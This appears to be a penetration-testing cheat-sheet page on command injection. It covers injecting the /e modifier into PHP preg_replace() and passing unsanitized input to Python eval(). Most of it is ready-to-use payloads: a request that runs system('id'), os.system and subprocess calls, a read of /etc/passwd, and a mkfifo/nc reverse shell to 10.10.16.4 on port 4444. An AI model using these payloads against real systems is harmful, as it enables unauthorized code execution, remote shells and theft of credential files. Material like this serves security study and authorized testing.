Command Injection
PHP - preg_replace()
Used in PHP to perform regular expression-based replacements.
Syntax:
preg_replace(pattern, replacement, subject);If the
/emodifier (orPREG_REPLACE_EVAL) is used, the replacement string can be executed as PHP code before the replacement occurs.
Attack Technique
While the
/emodifier may not be explicitly present in the original code, it can be injected into the regular expression pattern through user input.If user input is used directly in the
preg_replace()function, attackers can manipulate requests to inject the/emodifier into the pattern, causing arbitrary PHP code execution.Look for regex patterns on POST requests (
/)Some payload examples:
pattern=%2Fx%2Fe&ipaddress=system("id")&text=xpreg_replace(/x/e, system("id"), x)Python - eval()
The vulnerability arises from unsanitized user input being passed to the eval() function.
Payloads
__import__('os').system('your_command_here')__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 4444 >/tmp/f')__import__('subprocess').call(['ls', '-la'])open('/etc/passwd').read()__import__('subprocess').Popen('whoami', shell=True, stdout=__import__('subprocess').PIPE).communicate()[0]Last updated